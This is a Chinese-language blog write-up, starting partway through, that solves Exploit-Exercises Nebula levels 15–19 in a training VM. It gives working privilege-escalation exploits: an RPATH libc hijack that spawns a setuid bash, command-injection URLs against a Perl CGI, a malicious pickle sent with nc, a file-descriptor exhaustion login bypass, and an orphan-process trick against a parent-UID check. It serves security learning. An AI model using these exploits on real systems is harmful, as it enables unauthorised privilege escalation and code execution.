open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbf9121f4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbf9121f4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbf9121f4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbf9121f4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbf9121f4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbf9121f4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbf9121f4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbf9121f4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbf9121f4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbf9121f4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbf9121f4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbf9121f4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbf9121f4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=3, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0
mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb78a4000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0
mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x110000
mmap2(0x286000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0x286000
mmap2(0x289000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x289000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78a3000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb78a38d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x286000, 8192, PROT_READ)     = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0x77a000, 4096, PROT_READ)     = 0
munmap(0xb78a4000, 33815)               = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78ac000
write(1, "strace it!\n", 11strace it!
)            = 11
exit_group(11)                          = ?

执行顺序我们看到了,先execve,还要申请内存,跟着还要看看有无有权限运行ld.so.xx文件

跟着尝试在/var/tmp/flag15/目录下寻找libc.so.6

最后才是系统默认的路径/lib/i386-linux-gnu/libc.so.6

之后还是mmap申请内存,再mprotect设置设置内存访问权限,最后再去执行main中的write函数

最后exit_group退出

看了下ida,puts还是要调用write函数咯

blob.png

那我们只要在上面那些No such file or directory的目录上放一个恶意的libc.so.6

而且我们有全部权限,如下

blob.png

运行去哪个地方查找,应该是在编译的时候指定了选项,确实

level15@nebula:/home/flag15$ objdump -p flag15
flag15:     file format elf32-i386
Program Header:
    PHDR off    0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
         filesz 0x00000120 memsz 0x00000120 flags r-x
......
Dynamic Section:
  NEEDED               libc.so.6
  RPATH                /var/tmp/flag15
 .......

ld关于这部分的选项主要有三个,分别是-L、-rpath-link和-rpath,其中前两个都是在链接的时候用到的,而-rpath则是运行的时候去寻找

看了看网上的基本都是劫持__libc_start_main

#include<stdio.h>
int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
  setreuid(geteuid(),geteuid());
  execve("/bin/bash", NULL, NULL);
  return 0;
}

level15@nebula:/var/tmp/flag15$ cat version 
GLIBC_2.0   {};
level15@nebula:/var/tmp/flag15$ cat libc.c 
#include<stdio.h>
int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
  setreuid(geteuid(),geteuid());
  execve("/bin/bash", NULL, NULL);
  return 0;
}
level15@nebula:/var/tmp/flag15$ gcc -shared -static-libgcc -Wl,--version-script=version,-Bstatic libc.c -o /var/tmp/flag15/libc.so.6
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15 
flag15@nebula:/var/tmp/flag15$ getflag 
You have successfully executed getflag on a target account

当然还有劫持其他函数的

比如共享库本身加载时候需要执行的函数 

 __attribute__((constructor)) void init(void) { … } 

__attribute__((destructor))  void fini(void) { … }

https://github.com/1u4nx/Exploit-Exercises-Nebula/blob/master/Level15%E2%80%94%E2%80%94%E5%8A%A8%E6%80%81%E9%93%BE%E6%8E%A5%E5%BA%93%E5%8A%AB%E6%8C%81.org

level16

There is a perl script running on port 1616.

#!/usr/bin/env perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub login {
  $username = $_[0];
  $password = $_[1];
  $username =~ tr/a-z/A-Z/; # conver to uppercase
  $username =~ s/\s.*//;        # strip everything after a space
  @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
  foreach $line (@output) {
      ($usr, $pw) = split(/:/, $line);
  
      if($pw =~ $password) {
          return 1;
      }
  }
  return 0;
}
sub htmlz {
  print("<html><head><title>Login resuls</title></head><body>");
  if($_[0] == 1) {
      print("Your login was accepted<br/>");
  } else {
      print("Your login failed<br/>");
  }    
  print("Would you like a cookie?<br/><br/></body></html>\n");
}
htmlz(login(param("username"), param("password")));

是一个登陆的脚本,对username转化为大写,去掉空格

又是命令注入,我的又访问不了那个链接(原来发现时vm虚拟机的问题)

/usr/sbin/thttpd -C /home/flag16/thttpd.conf

没的话这样启动就好了

方法1

发现我这里不行,但是可以学到知识

都转化成大写了,我们怎么转化为小写呢

level16@nebula:/home/flag16$ a="GIANTBRANCH"
level16@nebula:/home/flag16$ echo ${a,}
gIANTBRANCH
level16@nebula:/home/flag16$ echo ${a,,}
giantbranch

新建个脚本文件/tmp/flag16

level16@nebula:/tmp$ cat flag16
getflag > /tmp/getflag16

访问不行

http://192.168.253.169:1616/index.cgi?username="</DEV/NULL;CMD=/TMP/FLAG16;${CMD,,};#&password=123

方法2

http://192.168.253.169:1616/index.cgi?username=`/*/FLAF16`&password=123

这应该是匹配任意目录下的FLAG16文件

/tmp/FLAG16就执行getflag的脚本

level16@nebula:/tmp$ cat FLAF16 
getflag > /tmp/getflag16
level16@nebula:/tmp$ cat getflag16 
You have successfully executed getflag on a target account

level17

There is a python script listening on port 10007 that contains a vulnerability.

#!/usr/bin/python
import os
import pickle
import time
import socket
import signal
signal.signal(signal.SIGCHLD, signal.SIG_IGN)
def server(skt):
  line = skt.recv(1024)
  obj = pickle.loads(line)
  for i in obj:
      clnt.send("why did you send me " + i + "?\n")
skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)
while True:
  clnt, addr = skt.accept()
  if(os.fork() == 0):
      clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
      server(clnt)
      exit(1)

python的pickle模块实现了基本的数据序列和反序列化。

pickle 在 python 中可以用来持久存储对象。就是把对象按照一定

的格式保存在文件中,在另外的脚本中使用 pickle.load 或者 pickle.loads 即可重新使用这些对象, load

和 loads 函数不同之处是 load 处理存储在文件里的 pickle 格式数据, loads 则是处理字符串表达的

pickle 格式的数据。

那么这里应该是反序列化的问题的

http://static.hx99.net/static/drops/papers-66.html

稍微学一下,S代表是字符串吧,p0是代表没有参数吗 .代表结束

blob.png

类似于php的wakeup魔术方法,python也有其自己的方法,例如__reduce__,可以在被反序列化的时候执行。

我看了别人有代码的

from cPickle import dumps
from os      import system
class Exploit(object):
    def __reduce__(self): return (system, ('getflag > /tmp/flag17',))
r = dumps(Exploit())
print r

将上面的输出保存到文件,nc发过去就行了

p1应该是第一个参数,p2-p4都没有,

据说:

t 操作码则是从栈顶开始弹出所有值,包括 MARK 对象。 (但感觉是压入啊)

R 则 pop 栈顶两项内容

level17@nebula:~$ cat getflag 
cposix
system
p1
(S'getflag > /tmp/flag17'
p2
tp3
Rp4
.
level17@nebula:~$ cat getflag | nc 127.0.0.1 10007
Accepted connection from 127.0.0.1:49669
^C
level17@nebula:~$ cat /tmp/flag17 
You have successfully executed getflag on a target account

看看别人的payload,c表示导入模块,这里导入模块,第二个是要调用的函数,之后是字符串参数,tR不知道是啥

当然也是可以的

cos
system
(S'getflag > /tmp/flag17'
tR.

level18

Analyse the C program, and look for vulnerabilities in the program. There is an easy way to solve this level, an intermediate way to solve it, and a more difficult/unreliable way to solve it.

看着有3中方法啊,代码挺长啊

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>
struct {
  FILE *debugfile;
  int verbose;
  int loggedin;
} globals;
#define dprintf(...) if(globals.debugfile) \
  fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
  fprintf(globals.debugfile, __VA_ARGS__)
#define PWFILE "/home/flag18/password"
void login(char *pw)
{
  FILE *fp;
  fp = fopen(PWFILE, "r");
  if(fp) {
      char file[64];
      if(fgets(file, sizeof(file) - 1, fp) == NULL) {
          dprintf("Unable to read password file %s\n", PWFILE);
          return;
      }
                fclose(fp);
      if(strcmp(pw, file) != 0) return;       
  }
  dprintf("logged in successfully (with%s password file)\n",
      fp == NULL ? "out" : "");
  
  globals.loggedin = 1;
}
void notsupported(char *what)
{
  char *buffer = NULL;
  asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
  dprintf(what);
  free(buffer);
}
void setuser(char *user)
{
  char msg[128];
  sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
  printf("%s\n", msg);
}
int main(int argc, char **argv, char **envp)
{
  char c;
  while((c = getopt(argc, argv, "d:v")) != -1) {
      switch(c) {
          case 'd':
              globals.debugfile = fopen(optarg, "w+");
              if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
              setvbuf(globals.debugfile, NULL, _IONBF, 0);
              break;
          case 'v':
              globals.verbose++;
              break;
      }
  }
  dprintf("Starting up. Verbose level = %d\n", globals.verbose);
  setresgid(getegid(), getegid(), getegid());
  setresuid(geteuid(), geteuid(), geteuid());
  
  while(1) {
      char line[256];
      char *p, *q;
      q = fgets(line, sizeof(line)-1, stdin);
      if(q == NULL) break;
      p = strchr(line, '\n'); if(p) *p = 0;
      p = strchr(line, '\r'); if(p) *p = 0;
      dvprintf(2, "got [%s] as input\n", line);
      if(strncmp(line, "login", 5) == 0) {
          dvprintf(3, "attempting to login\n");
          login(line + 6);
      } else if(strncmp(line, "logout", 6) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "shell", 5) == 0) {
          dvprintf(3, "attempting to start shell\n");
          if(globals.loggedin) {
              execve("/bin/sh", argv, envp);
              err(1, "unable to execve");
          }
          dprintf("Permission denied\n");
      } else if(strncmp(line, "logout", 4) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "closelog", 8) == 0) {
          if(globals.debugfile) fclose(globals.debugfile);
          globals.debugfile = NULL;
      } else if(strncmp(line, "site exec", 9) == 0) {
          notsupported(line + 10);
      } else if(strncmp(line, "setuser", 7) == 0) {
          setuser(line + 8);
      }
  }
  return 0;
}

这程序有-d和-v两个参数

跟着接下来有很多选项,都是用了安全比较函数strcmp

我们发现只要我们是登陆的,即globals.loggedin为非0,我们就可以执行shell

第一个漏洞:资源未释放漏洞

网站提示给的源码34行里面有fclose(fp),但是ida里面看不到的

blob.png

资源未释放漏洞就是程序使用了系统资源(比如申请了内存空间、打开了文件),但没有(正确)释放

资源,这个漏洞出现在 login 函数中,因为调用了 fopen ,但并没有调用 fclose 释放资源。如果 25 行的

if(fp) 为假, globals.loggedin 将会被赋值为 1 , globals.loggedin=1 表示的是成功登录。导致 fp 返回空

的原因有很多,比如句柄用完了、没有权限操作指定的文件等等。

就搞这个吧

那我们用完句柄,导致fp为假,不就绕过了密码验证的if吗

首先, Linux 默认情况下,一个进程只可以打开 1024 个句柄,可以通过 ulimit -n 命令查看

blob.png

当然-a也可以

blob.png

我们改成5个,减去0 1 2这几个标准输入输出和错误的句柄,如果我们再搞个debug file,我们登陆第2次就登陆成功了

blob.png

看了一下调用的地方,dvprintf需要verbose>=3就可以将很多调试信息输出

别人的语句,将debug信息输出到tty终端

level18@nebula:/home/flag18$ ./flag18 -d /dev/tty -vvv
Starting up. Verbose level = 3
login
got [login] as input
attempting to login
login
got [login] as input
attempting to login
logged in successfully (without password file)
closelog
got [closelog] as input
shell
./flag18: -d: invalid option
Usage:./flag18 [GNU long option] [option] ...
./flag18 [GNU long option] [option] script-file ...
GNU long options:
--debug
--debugger
--dump-po-strings
--dump-strings
--help
--init-file
--login
--noediting
--noprofile
--norc
--posix
--protected
--rcfile
--restricted
--verbose
--version
Shell options:
-irsD or -c command or -O shopt_option(invocation only)
-abefhkmnptuvxBCHP or -o option

我们关闭debug文件句柄,以便释放出来给shell使用,但是执行/bin/sh时报错

那么我们从给出的参数中找咯

发现–init-file和–rcfile是可以的

blob.png

level18@nebula:/home/flag18$ ulimit -n 5
level18@nebula:/home/flag18$ /home/flag18/flag18 --init-file -d /dev/tty -vvv
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'n'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 't'
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
Starting up. Verbose level = 3
login
got [login] as input
attempting to login
login
got [login] as input
attempting to login
logged in successfully (without password file)
closelog
got [closelog] as input
shell
id
uid=981(flag18) gid=1019(level18) groups=981(flag18),1019(level18)
getflag
You have successfully executed getflag on a target account

或者

level18@nebula:~$ /home/flag18/flag18 --rcfile -d /dev/tty -vvv
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'r'
/home/flag18/flag18: invalid option -- 'c'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
Starting up. Verbose level = 3
login
got [login] as input
attempting to login
login
got [login] as input
attempting to login
logged in successfully (without password file)
closelog
got [closelog] as input
shell
getflag
You have successfully executed getflag on a target account

参考:http://73696e65.github.io/blog/2015/06/20/exploit-exercises-nebula-16-19/

后面两个有空再研究

第二个漏洞:字符串格式化漏洞

notsupported函数存在字符串格式化漏洞

blob.png

blob.png

第三个漏洞:缓冲区溢出漏洞

void setuser(char *user)存在缓冲区溢出,msg128字节,line256字节

但…

又有NX又有CANARY,困难啊

blob.png

解决checksec.sh报错

./checksec.sh: /bin/bash^M: bad interpreter: No such file or directory

作者编写应该在windows下编写,但我们在linux系统里执行的,而sh文件的格式为dos格式。而linux只能执行格式为unix格式的脚本。

在vi或者vim打开后

:set ff=unix

level19

There is a flaw in the below program in how it operates.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
int main(int argc, char **argv, char **envp)
{
  pid_t pid;
  char buf[256];
  struct stat statbuf;
  /* Get the parent's /proc entry, so we can verify its user id */
  snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());
  /* stat() it */
  if(stat(buf, &statbuf) == -1) {
      printf("Unable to check parent process\n");
      exit(EXIT_FAILURE);
  }
  /* check the owner id */
  if(statbuf.st_uid == 0) {
      /* If root started us, it is ok to start the shell */
      execve("/bin/sh", argv, envp);
      err(1, "Unable to execve");
  }
  printf("You are unauthorized to run this program\n");
}

首先通过 getppid() 得到父进程 pid 号,然后再根据这个

pid 号找到 /proc 下为当前 pid 号的文件夹,如果这个文件夹属于 root 身份的,就执行 shell 。

首先通过gdb调试,不行

Linux 中的进程有父子关系,当子进程销毁时,父进程需要回收

它。如果在子进程执行完毕之前,父进程因为种种原因被销毁了,那么子进程就变成了孤儿进程,收养

它的是 init 进程,init是有root启动的

使用了人家的代码

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main(void)
{
  pid_t pid;
  pid = fork();
  char *argvs[] = {"/bin/sh","-c","getflag>/tmp/flag19",NULL}; // 将 getflag 的内容重定向到 /tmp/flag19 中
  if(pid == 0) // 如果 pid==0 ,则是子进程
  {
    execve("/home/flag19/flag19",argvs,NULL);
  }else if(pid > 0){ // 返回给父进程时,直接结束父进程,子进程就成了孤儿进程了
    exit(0);
  }
return 0;
}

level19@nebula:~$ gcc getflag.c -o getflag19
level19@nebula:~$ ./getflag19 
level19@nebula:~$ cat /tmp/flag19 
You have successfully executed getflag on a target account

最后看一下getflag程序的实现

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __uid_t euid; // eax@1
  struct passwd *v4; // eax@1
  bool v5; // zf@1
  struct passwd *v6; // esi@1
  char *pw_name; // eax@2
  const char *v8; // edi@2
  signed int v9; // ecx@2
  char *v10; // esi@2
  const char *v11; // edi@6
  signed int v12; // ecx@6
  char *v13; // esi@6
  int result; // eax@10
  euid = geteuid();
  v4 = getpwuid(euid);// getpwuid 根据传入的用户ID返回指向passwd的结构体 该结构体初始化了里面的所有成员
  v5 = v4 == 0;
  v6 = v4;
  if ( !v4 )
    err(1, "getpwuid couldn't find account");
  pw_name = v4->pw_name;
  v8 = "root";
  v9 = 5;
  v10 = v6->pw_name;
  do
  {
    if ( !v9 )
      break;
    v5 = *v10++ == *v8++;
    --v9;
  } // 判断当前用户是否是root用户
  while ( v5 );
  if ( v5 )
  {
    puts("While you got root, that wasn't the intended target :-)");
    exit(1);
  }
  v11 = "flag";
  v12 = 4;
  v13 = pw_name;
  do
  {
    if ( !v12 )
      break;
    v5 = *v13++ == *v11++;
    --v12;
  }  // 判断当前用户名的前四个字符是否为flag
  while ( v5 );
  if ( v5 )
    result = puts("You have successfully executed getflag on a target account");
  else
    result = puts("getflag is executing on a non-flag account, this doesn't count");
  return result;
}

所以我们调试一下也可以破解getflag,不过getflag只是验证我们提权没有

(gdb) b *0x0804842A
Breakpoint 2 at 0x804842a
(gdb) i b
Num     Type           Disp Enb Address    What
2       breakpoint     keep y   0x0804842a <main+58>
(gdb) r
Starting program: /bin/getflag 
Breakpoint 2, 0x0804842a in main ()
(gdb) i r
eax            0x804b008134524936
ecx            0x44
edx            0xbffff748-1073744056
ebx            0x2a8ff42789364
esp            0xbffff7600xbffff760
ebp            0xbffff7780xbffff778
esi            0x804b009134524937
edi            0x80486e9134514409
eip            0x804842a0x804842a <main+58>
eflags         0x287[ CF PF SF IF ]
cs             0x73115
ss             0x7b123
ds             0x7b123
es             0x7b123
fs             0x00
gs             0x3351
(gdb) set $eax=0x80486e9
(gdb) x /s 0x80486e9
0x80486e9: "flag"
(gdb) c
Continuing.
You have successfully executed getflag on a target account
[Inferior 1 (process 2380) exited with code 073]

打赏作者
喜欢本博客,打赏让博客永久运行,多少你说了算

您的支持将鼓励我们继续创作!

[微信] 扫描二维码打赏

[支付宝] 扫描二维码打赏

发表评论

电子邮件地址不会被公开。 必填项已用*标注